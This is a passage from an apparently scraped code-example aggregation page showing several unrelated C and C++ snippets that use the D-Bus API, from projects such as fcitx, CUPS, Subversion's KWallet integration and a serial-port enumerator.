	printf("Press ENTER to write data to the network.\n");
	getchar();


	if (!fork()) {
		if (write(fd, buf, 81) < 0) {
			fprintf(stderr, "err on write() buf\n");
			return -1;
		}

		if (write(fd, buf2, 81) < 0) {
			fprintf(stderr, "err on write() buf2\n");
			return -1;
		}

		printf("Press ENTER to release private network.\n");
		getchar();

		if (release_private_network(conn) < 0)
			return -1;

		close(fd);

		dbus_connection_unref(conn);

	} else {
		struct pollfd p;
		char buf[1500];
		int len;

		p.fd = fd;
		p.events = POLLIN | POLLERR | POLLHUP;

		while (1) {
			p.revents = 0;
			if (poll(&p, 1, -1) <= 0)
				return -1;

			if (p.revents & (POLLERR | POLLHUP))
				return -1;

			len = read(fd, buf, sizeof(buf));
			if (len < 0)
				return -1;

			printf("%d bytes received\n", len);
		}
	}

	return 0;
}
示例#7
0
dbusrecv_hdl_st *dbusrecv_init(char *myname, callbk_filter_func filter_func)
{
    dbusrecv_hdl_st *p_dbusrecv_hdl = NULL;
    int result = 0;
    int retval = 0;

    if (NULL == myname)
    {
        printf("dbusrev_init: invalid parameters, myname couldn't be NULL!\n");
        return NULL;
    }
    if (NULL == filter_func)
    {
        printf("dbusrev_init: invalid parameters, filter_func couldn't be NULL!\n");
        return NULL;
    }

    p_dbusrecv_hdl = DBUS_MALLOC(sizeof(dbusrecv_hdl_st));
    if (NULL == p_dbusrecv_hdl)
    {
        printf("dbusrev_init: malloc failed, p_dbusrecv_hdl!\n");
        return NULL;
    }

    p_dbusrecv_hdl->dbusrecv_cfg.myname = (char *)malloc(strlen(myname) + 1);
    memset(p_dbusrecv_hdl->dbusrecv_cfg.myname, 0x0, strlen(myname) + 1);
    memcpy(p_dbusrecv_hdl->dbusrecv_cfg.myname, myname, strlen(myname));
    p_dbusrecv_hdl->filter_func = filter_func;

    dbus_error_init (&p_dbusrecv_hdl->error);
    p_dbusrecv_hdl->connection = dbus_bus_get (DBUS_BUS_SYSTEM, &p_dbusrecv_hdl->error);
    if (NULL == p_dbusrecv_hdl->connection)
    {
        printf("%s: Failed to open connection to activating message bus: %s\n", __FILE__, p_dbusrecv_hdl->error.message);
        retval = -1;
        goto ERROR;
    }
    p_dbusrecv_hdl->dbusloop = _dbus_loop_new ();
    if (NULL == p_dbusrecv_hdl->dbusloop)
    {
        printf("%s: No memory, p_dbusrecv_hdl->dbusloop\n", __FILE__);
        retval = -1;
        goto ERROR;
    }
    if (!test_connection_setup (p_dbusrecv_hdl->dbusloop, p_dbusrecv_hdl->connection))
    {
        printf("%s: No memory, test_connection_setup\n", __FILE__);
        retval = -1;
        goto ERROR;
    }

    /*
        match options:
                type
                interface;
                member;
                sender;
                destination;
                path;
    */
#if 0
    memset(rules, 0x0, sizeof(rules));
    sprintf(rules, "type='signal', interface='%s'", p_dbusrecv_hdl->dbusrecv_cfg.interface);
    dbus_bus_add_match (p_dbusrecv_hdl->connection, rules, &p_dbusrecv_hdl->error);
    if (dbus_error_is_set (&p_dbusrecv_hdl->error))
    {
        printf("%s: add match(%s) failed\n", __FILE__, rules);
        retval = -1;
        goto ERROR;
    }
    memset(rules, 0x0, sizeof(rules));
    sprintf(rules, "type='signal', interface='org.actiontec.Test'");
    dbus_bus_add_match (p_dbusrecv_hdl->connection, rules, &p_dbusrecv_hdl->error);
    if (dbus_error_is_set (&p_dbusrecv_hdl->error))
    {
        printf("%s: add match(%s) failed\n", __FILE__, rules);
        retval = -1;
        goto ERROR;
    }
#endif
    if (!dbus_connection_add_filter(p_dbusrecv_hdl->connection, p_dbusrecv_hdl->filter_func, (void *)p_dbusrecv_hdl, NULL))
    {
        printf("%s: No memory, dbus_connection_add_filter\n", __FILE__);
        retval = -1;
        goto ERROR;
    }
    p_dbusrecv_hdl->is_addfilter = 1;

    if (!dbus_connection_register_object_path (p_dbusrecv_hdl->connection,
            DBUS_DEFAULT_PATH,
            &dbusrecv_vtable,
            (void *)p_dbusrecv_hdl))
        //(void*) 0xdeadbeef))
    {
        printf("%s: No memory, dbus_connection_register_object_path\n", __FILE__);
        retval = -1;
        goto ERROR;
    }

    {
        void *d;
        if (!dbus_connection_get_object_path_data (p_dbusrecv_hdl->connection, DBUS_DEFAULT_PATH, &d))
        {
            printf("%s: No memory, dbus_connection_get_object_path_data\n", __FILE__);
            retval = -1;
            goto ERROR;
        }
        //if (d != (void*) 0xdeadbeef)
        if (d != (void*) p_dbusrecv_hdl)
        {
            printf("%s: dbus_connection_get_object_path_data() doesn't seem to work right\n", __FILE__);
            retval = -1;
            goto ERROR;
        }
    }

    result = dbus_bus_request_name(p_dbusrecv_hdl->connection, myname, 0, &p_dbusrecv_hdl->error);
    if (dbus_error_is_set (&p_dbusrecv_hdl->error))
    {
        printf("%s: Failed to acquire service: %s\n", __FILE__, p_dbusrecv_hdl->error.message);
        retval = -1;
        goto ERROR;
    }
    //_dbus_verbose("%s: service(%s) entering main loop!\n", __FILE__, myname);
    //_dbus_loop_run(p_dbusrecv_hdl->dbusloop);
    retval = 0;

ERROR:
    if (-1 == retval)
    {
        dbus_error_free (&p_dbusrecv_hdl->error);
        if (p_dbusrecv_hdl->connection)
        {
            test_connection_shutdown (p_dbusrecv_hdl->dbusloop, p_dbusrecv_hdl->connection);
            if (p_dbusrecv_hdl->is_addfilter)
                dbus_connection_remove_filter (p_dbusrecv_hdl->connection, p_dbusrecv_hdl->filter_func, NULL);//
            dbus_connection_unref (p_dbusrecv_hdl->connection);
            p_dbusrecv_hdl->connection = NULL;
        }
        if (p_dbusrecv_hdl->dbusloop)
        {
            _dbus_loop_unref (p_dbusrecv_hdl->dbusloop);
            p_dbusrecv_hdl->dbusloop = NULL;
        }
        dbus_shutdown();
        _dbus_verbose("%s: service(%s) exiting!\n", __FILE__, myname);
        return NULL;
    }

    return p_dbusrecv_hdl;
}
示例#8
0
	std::map<int, std::pair<std::string, std::string> > SerialPortEnumerator::getPorts()
	{
		std::map<int, std::pair<std::string, std::string> > ports;
		


#ifdef MACOSX
		// use IOKit to enumerates devices
		
		// get a matching dictionary to specify which IOService class we're interested in
		CFMutableDictionaryRef classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
		if (classesToMatch == NULL)
			throw DashelException(DashelException::EnumerationError, 0, "IOServiceMatching returned a NULL dictionary");
		
		// specify all types of serial devices
		CFDictionarySetValue(classesToMatch, CFSTR(kIOSerialBSDTypeKey), CFSTR(kIOSerialBSDAllTypes));
		
		// get an iterator to serial port services
		io_iterator_t matchingServices;
		kern_return_t kernResult = IOServiceGetMatchingServices(kIOMasterPortDefault, classesToMatch, &matchingServices);    
		if (KERN_SUCCESS != kernResult)
			throw DashelException(DashelException::EnumerationError, kernResult, "IOServiceGetMatchingServices failed");
			
		// iterate over services
		io_object_t modemService;
		int index = 0;
		while((modemService = IOIteratorNext(matchingServices)))
		{
			// get path for device
			CFTypeRef bsdPathAsCFString = IORegistryEntryCreateCFProperty(modemService, CFSTR(kIOCalloutDeviceKey), kCFAllocatorDefault, 0);
			if (bsdPathAsCFString)
			{
				std::string path;
				char cStr[255];
				std::string name;
				
				bool res = CFStringGetCString((CFStringRef) bsdPathAsCFString, cStr, 255, kCFStringEncodingUTF8);
				if(res)
					path = cStr;
				else
					throw DashelException(DashelException::EnumerationError, 0, "CFStringGetCString failed");
				
				CFRelease(bsdPathAsCFString);
				
				CFTypeRef fn = IORegistryEntrySearchCFProperty(modemService, kIOServicePlane, CFSTR("USB Product Name"), kCFAllocatorDefault,
										kIORegistryIterateRecursively | kIORegistryIterateParents);
				if(fn) {
					res = CFStringGetCString((CFStringRef) fn, cStr, 255, kCFStringEncodingUTF8);
					if(res) 
						name = cStr;
					else
						throw DashelException(DashelException::EnumerationError, 0, "CFStringGetString failed");

					CFRelease(fn);
				} else 
					name = "Serial Port";
				name = name + " (" + path + ")";
				ports[index++] = std::make_pair<std::string, std::string>(path, name);
			}
			else
				throw DashelException(DashelException::EnumerationError, 0, "IORegistryEntryCreateCFProperty returned a NULL path");
			
			// release service
			IOObjectRelease(modemService);
		}

		IOObjectRelease(matchingServices);

			
#elif defined(USE_LIBUDEV)

		struct udev *udev;
		struct udev_enumerate *enumerate;
		struct udev_list_entry *devices, *dev_list_entry;
		struct udev_device *dev;
		int index = 0;

		udev = udev_new();
		if(!udev)
			throw DashelException(DashelException::EnumerationError, 0, "Cannot create udev context");

		enumerate = udev_enumerate_new(udev);
		udev_enumerate_add_match_subsystem(enumerate, "tty");
		udev_enumerate_scan_devices(enumerate);
		devices = udev_enumerate_get_list_entry(enumerate);

		udev_list_entry_foreach(dev_list_entry, devices) {
			const char *sysfs_path;
			struct udev_device *usb_dev;
			const char * path;
			struct stat st;
			unsigned int maj,min;

			/* Get sysfs path and create the udev device */
			sysfs_path = udev_list_entry_get_name(dev_list_entry);
			dev = udev_device_new_from_syspath(udev, sysfs_path);

			// Some sanity check
			path = udev_device_get_devnode(dev);
			if(stat(path, &st)) 
				throw DashelException(DashelException::EnumerationError, 0, "Cannot stat serial port");
			
			if(!S_ISCHR(st.st_mode))
				throw DashelException(DashelException::EnumerationError, 0, "Serial port is not character device");

			// Get the major/minor number
			maj = major(st.st_rdev);
			min = minor(st.st_rdev);

			// Ignore all the non physical ports
			if(!(maj == 2 || (maj == 4 && min < 64) || maj == 3 || maj == 5)) {
				ostringstream oss;

				// Check if usb, if yes get the device name
				usb_dev = udev_device_get_parent_with_subsystem_devtype(dev,"usb","usb_device");
				if(usb_dev)
					oss << udev_device_get_sysattr_value(usb_dev,"product");
				else
					oss << "Serial Port";

				oss << " (" << path << ")";

				ports[index++] = std::make_pair<std::string, std::string>(path,oss.str());
			}
			udev_device_unref(dev);
		}
		
		udev_enumerate_unref(enumerate);

		udev_unref(udev);

#elif defined(USE_HAL)

		// use HAL to enumerates devices
		DBusConnection* dbusConnection = dbus_bus_get(DBUS_BUS_SYSTEM, 0);
		if (!dbusConnection)
			throw DashelException(DashelException::EnumerationError, 0, "cannot connect to D-BUS.");
		
		LibHalContext* halContext = libhal_ctx_new();
		if (!halContext)
			throw DashelException(DashelException::EnumerationError, 0, "cannot create HAL context: cannot create context");
		if (!libhal_ctx_set_dbus_connection(halContext, dbusConnection))
			throw DashelException(DashelException::EnumerationError, 0, "cannot create HAL context: cannot connect to D-BUS");
		if (!libhal_ctx_init(halContext, 0))
			throw DashelException(DashelException::EnumerationError, 0, "cannot create HAL context: cannot init context");
		
		int devicesCount;
		char** devices = libhal_find_device_by_capability(halContext, "serial", &devicesCount, 0);
		for (int i = 0; i < devicesCount; i++)
		{
			char* devFileName = libhal_device_get_property_string(halContext, devices[i], "serial.device", 0);
			char* info = libhal_device_get_property_string(halContext, devices[i], "info.product", 0);
			int port = libhal_device_get_property_int(halContext, devices[i], "serial.port", 0);
			
			ostringstream oss;
			oss << info << " " << port;
			ports[devicesCount - i] = std::make_pair<std::string, std::string>(devFileName, oss.str());
			
			libhal_free_string(info);
			libhal_free_string(devFileName);
		}
		
		libhal_free_string_array(devices);
		libhal_ctx_shutdown(halContext, 0);
		libhal_ctx_free(halContext);
#endif
		
		return ports;
	};
示例#9
0
void listen_signal()
{
    DBusMessage * msg;
    DBusMessageIter arg;
    DBusConnection * connection;
    DBusError err;
    int ret;
    char * sigvalue;

     //步骤1:建立与D-Bus后台的连接 
    dbus_error_init(&err);
    connection = dbus_bus_get(DBUS_BUS_SESSION, &err);
    if(dbus_error_is_set(&err)){
        fprintf(stderr,"Connection Error %s/n",err.message);
        dbus_error_free(&err);
    }
    if(connection == NULL){
        printf("connection is NULL.\n");
        return;
    }

   //步骤2:给连接名分配一个可记忆名字test.singal.dest作为Bus name,这个步骤不是必须的,但推荐这样处理 
/*
    ret = dbus_bus_request_name(connection,"test.singal.dest",DBUS_NAME_FLAG_REPLACE_EXISTING,&err);
    if(dbus_error_is_set(&err)){
        fprintf(stderr,"Name Error %s/n",err.message);
        dbus_error_free(&err);
    }
    if(ret != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER){
        printf("dbus request name is not primary owner.\n");
        return;
    }
*/
    //步骤3:通知D-Bus daemon,希望监听来行接口test.signal.Type的信号 
    dbus_bus_add_match(connection,"type='signal',interface='test.signal.Type'",&err); 
    //实际需要发送东西给daemon来通知希望监听的内容,所以需要flush 
    dbus_connection_flush(connection); 
    if(dbus_error_is_set(&err)){
        fprintf(stderr,"Match Error %s/n",err.message);
        dbus_error_free(&err);
    }
    
    //步骤4:在循环中监听,每隔开1秒,就去试图自己的连接中获取这个信号。这里给出的是中连接中获取任何消息的方式,所以获取后去检查一下这个消息是否我们期望的信号,并获取内容。我们也可以通过这个方式来获取method call消息。 
    gint cnt = 0;
    while(1){
        dbus_connection_read_write(connection,0); 
        msg = dbus_connection_pop_message (connection);
        if(msg == NULL){
            sleep(1);
            //printf("cnt:%d\n", cnt++);
            continue;
        }
    printf("message type: %d\n", dbus_message_get_type(msg));
    printf("message member: %s\n", dbus_message_get_member(msg));

        if(dbus_message_is_signal(msg,"test.signal.Type","Test") ){
            if(!dbus_message_iter_init(msg,&arg) )
                fprintf(stderr,"Message Has no Param");
            else if(dbus_message_iter_get_arg_type(&arg) != DBUS_TYPE_STRING) 
                g_printerr("Param is not string");
            else
                dbus_message_iter_get_basic(&arg,&sigvalue); 
            printf("Got Singal with value : %s\n",sigvalue);
        }
        dbus_message_unref(msg);
    }//End of while
    printf("end of receiver.");
}
示例#10
0
static void
cupsd_send_dbus(cupsd_eventmask_t event,/* I - Event to send */
                cupsd_printer_t   *dest,/* I - Destination, if any */
                cupsd_job_t       *job)	/* I - Job, if any */
{
  DBusError		error;		/* Error, if any */
  DBusMessage		*message;	/* Message to send */
  DBusMessageIter	iter;		/* Iterator for message data */
  const char		*what;		/* What to send */
  static DBusConnection	*con = NULL;	/* Connection to DBUS server */


 /*
  * Figure out what to send, if anything...
  */

  if (event & CUPSD_EVENT_PRINTER_ADDED)
    what = "PrinterAdded";
  else if (event & CUPSD_EVENT_PRINTER_DELETED)
    what = "PrinterRemoved";
  else if (event & CUPSD_EVENT_PRINTER_CHANGED)
    what = "QueueChanged";
  else if (event & CUPSD_EVENT_JOB_CREATED)
    what = "JobQueuedLocal";
  else if ((event & CUPSD_EVENT_JOB_STATE) && job &&
           job->state_value == IPP_JOB_PROCESSING)
    what = "JobStartedLocal";
  else
    return;

 /*
  * Verify connection to DBUS server...
  */

  if (con && !dbus_connection_get_is_connected(con))
  {
    dbus_connection_unref(con);
    con = NULL;
  }

  if (!con)
  {
    dbus_error_init(&error);

    con = dbus_bus_get(getuid() ? DBUS_BUS_SESSION : DBUS_BUS_SYSTEM, &error);
    if (!con)
    {
      dbus_error_free(&error);
      return;
    }
  }

 /*
  * Create and send the new message...
  */

  message = dbus_message_new_signal("/com/redhat/PrinterSpooler",
				    "com.redhat.PrinterSpooler", what);

  dbus_message_append_iter_init(message, &iter);
  if (dest)
    dbus_message_iter_append_string(&iter, dest->name);
  if (job)
  {
    dbus_message_iter_append_uint32(&iter, job->id);
    dbus_message_iter_append_string(&iter, job->username);
  }

  dbus_connection_send(con, message, NULL);
  dbus_connection_flush(con);
  dbus_message_unref(message);
}
示例#11
0
/*
 * Receive the signals from the bus
 */
void receive()
{
	DBusMessage *msg;
	DBusMessageIter iter;
	DBusConnection *conn;
	DBusError err;
	int ret;

	Item *item = (Item *)malloc(sizeof(Item));
	if (item == NULL)
	{
		exit(1);
	}
	char *s = (char *)malloc(512 * sizeof(char));
	if (s == NULL)
	{
		exit(1);
	}

	printf("Listening for signals\n");

	// initialize the errors
	dbus_error_init(&err);

	// connect to the bus and check for errors
	conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
	if (dbus_error_is_set(&err))
	{ 
		fprintf(stderr, "Connection Error (%s)\n", err.message);
		dbus_error_free(&err); 
	}
	if (conn == NULL)
	{ 
		exit(1);
	}

	// request our name on the bus and check for errors
	ret = dbus_bus_request_name(conn, "queue.msg.receiver", DBUS_NAME_FLAG_REPLACE_EXISTING , &err);
	if (dbus_error_is_set(&err))
	{ 
		fprintf(stderr, "Name Error (%s)\n", err.message);
		dbus_error_free(&err); 
	}
	if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret)
	{
		exit(1);
	}

	// add a rule for which messages we want to see
	// see signals from the given interface
	dbus_bus_add_match(conn, "interface='queue.msg.Handler'", &err);
	dbus_connection_flush(conn);
	if (dbus_error_is_set(&err))
	{ 
		fprintf(stderr, "Match Error (%s)\n", err.message);
		exit(1); 
	}

	// loop listening for signals being emmitted
	while (1)
	{
		// non blocking read of the next available message
		dbus_connection_read_write(conn, 0);
		msg = dbus_connection_pop_message(conn);

		// loop again if we haven't read a message
		if (msg == NULL)
		{
			sleep(1);
			continue;
		}

		// signals for adding
		// check if the message is a signal from the correct interface and with the correct name
		if (dbus_message_is_signal(msg, "queue.msg.Handler", "Add"))
		{

			// read the parameters
			if (!dbus_message_iter_init(msg, &iter))
			{
				fprintf(stderr, "Message Has No Parameters\n");
			}
			else
			{
				dbus_uint32_t v;
				dbus_message_iter_get_basic(&iter, &s);
				strcpy(item->name, s);
				dbus_message_iter_next(&iter);  // moves the iter to read next param
				dbus_message_iter_get_basic(&iter, &v);
				item->value = v;
			}

			int n = random_add_items(queue, item);
			if (n != -1)
			{
				printf("Added an item with name \"%s\" valued (%d) at position (%d)\n", 
				       item->name, item->value, n);
			}
			else
			{
				exit(1);
			}
		}

		// methods for removing
		// check if the message is a method call from the correct interface and with the correct name
		else if (dbus_message_is_method_call(msg, "queue.msg.Handler", "Remove"))
		{
			int n = random_remove_items(queue);
			if (n != -1)
			{
				printf("Removed an item from position (%d)\n", n);
			}
			else
			{
				exit(1);
			}
		}

		// free the message
		dbus_message_unref(msg);
	}

	// free the item
	free(item);
	item = NULL;
	// free the s
	free(s);
	s = NULL;
}
示例#12
0
/* Implementation of svn_auth__password_set_t that stores
   the password in KWallet. */
static svn_error_t *
kwallet_password_set(svn_boolean_t *done,
                     apr_hash_t *creds,
                     const char *realmstring,
                     const char *username,
                     const char *password,
                     apr_hash_t *parameters,
                     svn_boolean_t non_interactive,
                     apr_pool_t *pool)
{
  QString wallet_name = get_wallet_name(parameters);

  *done = FALSE;

  if (! dbus_bus_get(DBUS_BUS_SESSION, NULL))
    {
      return SVN_NO_ERROR;
    }

  if (non_interactive)
    {
      if (!KWallet::Wallet::isOpen(wallet_name))
        return SVN_NO_ERROR;

      /* There is a race here: the wallet was open just now, but will
         it still be open when we come to use it below? */
    }

  QCoreApplication *app;
  if (! qApp)
    {
      int argc = q_argc;
      app = new QCoreApplication(argc, q_argv);
    }

  KCmdLineArgs::init(q_argc, q_argv,
                     get_application_name(parameters, pool),
                     "subversion",
                     ki18n(get_application_name(parameters, pool)),
                     SVN_VER_NUMBER,
                     ki18n("Version control system"),
                     KCmdLineArgs::CmdLineArgKDE);
  KComponentData component_data(KCmdLineArgs::aboutData());
  QString q_password = QString::fromUtf8(password);
  QString folder = QString::fromUtf8("Subversion");
  KWallet::Wallet *wallet = get_wallet(wallet_name, parameters);
  if (wallet)
    {
      if (! wallet->hasFolder(folder))
        {
          wallet->createFolder(folder);
        }
      if (wallet->setFolder(folder))
        {
          QString key = QString::fromUtf8(username) + "@"
            + QString::fromUtf8(realmstring);
          if (wallet->writePassword(key, q_password) == 0)
            {
              *done = TRUE;
            }
        }
    }

  return SVN_NO_ERROR;
}
示例#13
0
文件: dbusstuff.c 项目: adaptee/fcitx
void* DBusCreate(FcitxInstance* instance)
{
    FcitxDBus *dbusmodule = (FcitxDBus*) fcitx_utils_malloc0(sizeof(FcitxDBus));
    FcitxAddon* dbusaddon = FcitxAddonsGetAddonByName(FcitxInstanceGetAddons(instance), FCITX_DBUS_NAME);
    dbusmodule->owner = instance;

    DBusError err;

    if (FcitxInstanceIsTryReplace(instance)) {
        fcitx_utils_launch_tool("fcitx-remote", "-e");
        sleep(1);
    }

    dbus_threads_init_default();

    // first init dbus
    dbus_error_init(&err);

    int retry = 0;
    DBusConnection* conn = NULL;
    char* servicename = NULL;
    asprintf(&servicename, "%s-%d", FCITX_DBUS_SERVICE,
             fcitx_utils_get_display_number());

    /* do session dbus initialize */
    do {
        if (!getenv("DISPLAY") && !getenv("DBUS_SESSION_BUS_ADDRESS")) {
            FcitxLog(WARNING, "Without DISPLAY or DBUS_SESSION_BUS_ADDRESS session bus will not work");
            break;
        }
        /* try to get session dbus */
        while (1) {
            conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
            if (dbus_error_is_set(&err)) {
                FcitxLog(WARNING, "Connection Error (%s)", err.message);
                dbus_error_free(&err);
                dbus_error_init(&err);
            }

            if (NULL == conn && retry < MAX_RETRY_TIMES) {
                retry ++;
                sleep(RETRY_INTERVAL * retry);
            } else {
                break;
            }
        }

        if (NULL == conn) {
            break;
        }

        if (!dbus_connection_add_filter(conn, DBusModuleFilter, dbusmodule, NULL))
            break;

        if (!dbus_connection_set_watch_functions(conn, DBusAddWatch, DBusRemoveWatch,
                NULL, &dbusmodule->watches, NULL)) {
            FcitxLog(WARNING, "Add Watch Function Error");
            dbus_error_free(&err);
            dbus_error_init(&err);
            dbus_connection_unref(conn);
            conn = NULL;
            break;
        }

        /* from here we know dbus connection is successful, now we need to register the service */
        dbus_connection_set_exit_on_disconnect(conn, FALSE);
        dbusmodule->conn = conn;

        boolean request_retry = false;

        int replaceCountdown = FcitxInstanceIsTryReplace(instance) ? 3 : 0;
        FcitxInstanceResetTryReplace(instance);
        do {
            request_retry = false;

            // request a name on the bus
            int ret = dbus_bus_request_name(conn, servicename,
                                            DBUS_NAME_FLAG_DO_NOT_QUEUE,
                                            &err);
            if (dbus_error_is_set(&err)) {
                FcitxLog(WARNING, "Name Error (%s)", err.message);
                goto dbus_init_failed;
            }
            if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
                FcitxLog(WARNING, "DBus Service Already Exists");

                if (replaceCountdown > 0) {
                    replaceCountdown --;
                    fcitx_utils_launch_tool("fcitx-remote", "-e");

                    /* sleep for a while and retry */
                    sleep(1);

                    request_retry = true;
                    continue;
                }

                /* if we know fcitx exists, we should exit. */
                dbus_error_free(&err);
                free(servicename);
                free(dbusmodule);

                FcitxInstanceEnd(instance);
                return NULL;
            }
        } while (request_retry);

        dbus_connection_flush(dbusmodule->conn);
    } while(0);

    DBusConnection* privconn = NULL;
    do {
        int noPrivateDBus = fcitx_utils_get_boolean_env("FCITX_NO_PRIVATE_DBUS", false);
        if (noPrivateDBus)
            break;

        char* file;
        FILE* dbusfp = FcitxXDGGetFileWithPrefix("dbus", "daemon.conf", "r", &file);
        if (dbusfp) {
            fclose(dbusfp);
        }
        else {
            free(file);
            file = NULL;
        }

        dbusmodule->daemon = DBusLaunch(file);
        fcitx_utils_free(file);
        if (dbusmodule->daemon.pid == 0)
            break;

        privconn = dbus_connection_open(dbusmodule->daemon.address, &err);

        if (dbus_error_is_set(&err)) {
            FcitxLog(ERROR, "Private dbus daemon connection error (%s)",
                     err.message);
            break;
        }

        dbus_bus_register(privconn, &err);

        if (dbus_error_is_set(&err)) {
            FcitxLog(ERROR, "Private dbus bus register error (%s)", err.message);
            break;
        }

        int ret = dbus_bus_request_name(privconn, servicename,
                                        DBUS_NAME_FLAG_DO_NOT_QUEUE,
                                        &err);

        if (dbus_error_is_set(&err)) {
            FcitxLog(WARNING, "Private Name Error (%s)", err.message);
            break;
        }
        if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
            FcitxLog(ERROR, "Private DBus Service Already Exists, fcitx being hacked?");
            break;
        }

        if (!dbus_connection_add_filter(privconn, DBusModuleFilter, dbusmodule, NULL))
            break;

        if (!dbus_connection_set_watch_functions(privconn, DBusAddWatch, DBusRemoveWatch,
                NULL, &dbusmodule->watches, NULL)) {
            FcitxLog(WARNING, "Add Watch Function Error");
            break;
        }

        char* addressFile = NULL;
        char* localMachineId = dbus_get_local_machine_id();
        asprintf(&addressFile, "%s-%d", localMachineId,
                 fcitx_utils_get_display_number());
        dbus_free(localMachineId);

        FILE* fp = FcitxXDGGetFileUserWithPrefix("dbus", addressFile, "w", NULL);
        free(addressFile);
        if (!fp)
            break;

        fprintf(fp, "%s", dbusmodule->daemon.address);
        fwrite("\0", sizeof(char), 1, fp);
        pid_t curPid = getpid();
        fwrite(&dbusmodule->daemon.pid, sizeof(pid_t), 1, fp);
        fwrite(&curPid, sizeof(pid_t), 1, fp);
        fclose(fp);

        dbusmodule->privconn = privconn;

        char* command = fcitx_utils_get_fcitx_path_with_filename("bindir", "/fcitx-dbus-watcher");
        char* pidstring = NULL;
        asprintf(&pidstring, "%d", dbusmodule->daemon.pid);
        char* args[] = {
            command,
            dbusmodule->daemon.address,
            pidstring,
            NULL
        };
        fcitx_utils_start_process(args);
        free(command);
        free(pidstring);

    } while(0);

    if (!dbusmodule->privconn) {
        if (privconn) {
            dbus_connection_unref(privconn);
            DBusKill(&dbusmodule->daemon);
        }
    }

    FcitxModuleAddFunction(dbusaddon, DBusGetConnection);
    FcitxModuleAddFunction(dbusaddon, DBusGetPrivateConnection);
    dbus_error_free(&err);

    dbusmodule->serviceName = servicename;

    return dbusmodule;

dbus_init_failed:
    dbus_error_free(&err);
    fcitx_utils_free(servicename);
    if (conn)
        dbus_connection_unref(conn);
    DBusKill(&dbusmodule->daemon);
    fcitx_utils_free(dbusmodule);
    return NULL;
}
示例#14
0
void listen_signal()
{
    DBusMessage *msg;
    DBusMessageIter arg;
    DBusConnection *connection;
    DBusError err;
    int ret;
    char *sigvalue;

    //step 1. connect DBus
    dbus_error_init(&err);
    connection = dbus_bus_get(DBUS_BUS_SESSION, &err);
    if (dbus_error_is_set(&err)) {
        fprintf(stderr, "Connection Error %s\n", err.message);
        dbus_error_free(&err);
    }
    if (connection == NULL) {
        return;
    }

    //step 2. [OPTION] Assign a known name for connection
    ret = dbus_bus_request_name(connection, "test.singal.dest", DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
    if (dbus_error_is_set(&err)) {
        fprintf(stderr, "Name Error %s\n", err.message);
        dbus_error_free(&err);
    }
    if (ret != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER) {
        return ;
    }

    //step 3. Notify DBus daemon, listen test.signal.Type signal
    dbus_bus_add_match(connection, "type='signal', interface='test.signal.Type'", &err);
    dbus_connection_flush(connection);
    if (dbus_error_is_set(&err)) {
        fprintf(stderr, "Match Error %s\n", err.message);
        dbus_error_free(&err);
    }

    //step 4. listen in loop per 1s.
    while (1) {
        dbus_connection_read_write(connection, 0);
        msg = dbus_connection_pop_message(connection);
        if (msg == NULL) {
            sleep(1);
            continue;
        }

        if (dbus_message_is_signal(msg, "test.signal.Type", "Test")) {
            if (!dbus_message_iter_init(msg, &arg)) {
                fprintf(stderr, "Message Has no Param");
            } else if (dbus_message_iter_get_arg_type(&arg) != DBUS_TYPE_STRING) {
                g_printerr("Param is not string");
            } else {
                dbus_message_iter_get_basic(&arg, &sigvalue);
                printf("Got singal with value: %s\n", sigvalue);
            }
        }
    
        dbus_message_unref(msg);

    }//End of while
}
示例#15
0
void listen_and_forward(char *my_name) {
	DBusMessage* msg;
	DBusMessage* reply;
	DBusMessageIter args;
	DBusConnection* conn;
	DBusError err;
	int ret;
	char* param;

//	printf("listen_and_forward-----coming into server init\n");
	// initialise the error
	dbus_error_init(&err);

	// connect to the bus and check for errors
	conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
	if (dbus_error_is_set(&err)) {
		fprintf(stderr, "Connection Error (%s)\n", err.message);
		dbus_error_free(&err);
	}
	if (NULL == conn) {
		fprintf(stderr, "Connection Null\n");
		exit(1);
	}

	// request our name on the bus and check for errors
	char name_[50];
	sprintf(name_,"test.method.%s",my_name);
	ret = dbus_bus_request_name(conn, name_, DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
	if (dbus_error_is_set(&err)) {
		fprintf(stderr, "Name Error (%s)\n", err.message);
		dbus_error_free(&err);
	}
	if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
		fprintf(stderr, "Not Primary Owner (%d)\n", ret);
		exit(1);
	}

	// loop, testing for new messages
	while (true) {
		// non blocking read of the next available message
		dbus_connection_read_write(conn, 0);
		msg = dbus_connection_pop_message(conn);

		// loop again if we haven't got a message
		if (NULL == msg) {
			sleep(1);
			continue;
		}

		// check this is a method call for the right interface & method
		if (dbus_message_is_method_call(msg, "test.method.Type", "Method")){
			reply_to_method_call(msg, conn);
			sleep(1);
			break;
		}
		// free the message
		dbus_message_unref(msg);
	}

	// close the connection
//	dbus_connection_close(conn);
}
示例#16
0
int main (int argc, char* argv[])
{
    char *servicename = NULL;
    char *address = NULL;
    DBusMessage* message = NULL;
    DBusConnection* conn = NULL;
    int c;
    int ret = 1;
    int messageType = FCITX_DBUS_GET_CURRENT_STATE;
    char *imname = NULL;
    while ((c = getopt(argc, argv, "chortTeam:")) != -1) {
        switch (c) {
        case 'o':
            messageType = FCITX_DBUS_ACTIVATE;
            break;

        case 'c':
            messageType = FCITX_DBUS_INACTIVATE;
            break;

        case 'r':
            messageType = FCITX_DBUS_RELOAD_CONFIG;
            break;

        case 't':
        case 'T':
            messageType = FCITX_DBUS_TOGGLE;
            break;

        case 'e':
            messageType = FCITX_DBUS_EXIT;
            break;

        case 'm':
            messageType = FCITX_DBUS_GET_IM_ADDON;
            imname = strdup(optarg);
            break;

        case 'a':
            address = _fcitx_get_address();
            if (address) {
                printf("%s\n", address);
                return 0;
            }
            else
                return 1;
            break;

        case 'h':
            usage(stdout);
            return 0;
        default:
            usage(stderr);
            return 1;
            break;
        }
    }

#define CASE(ENUMNAME, MESSAGENAME) \
        case FCITX_DBUS_##ENUMNAME: \
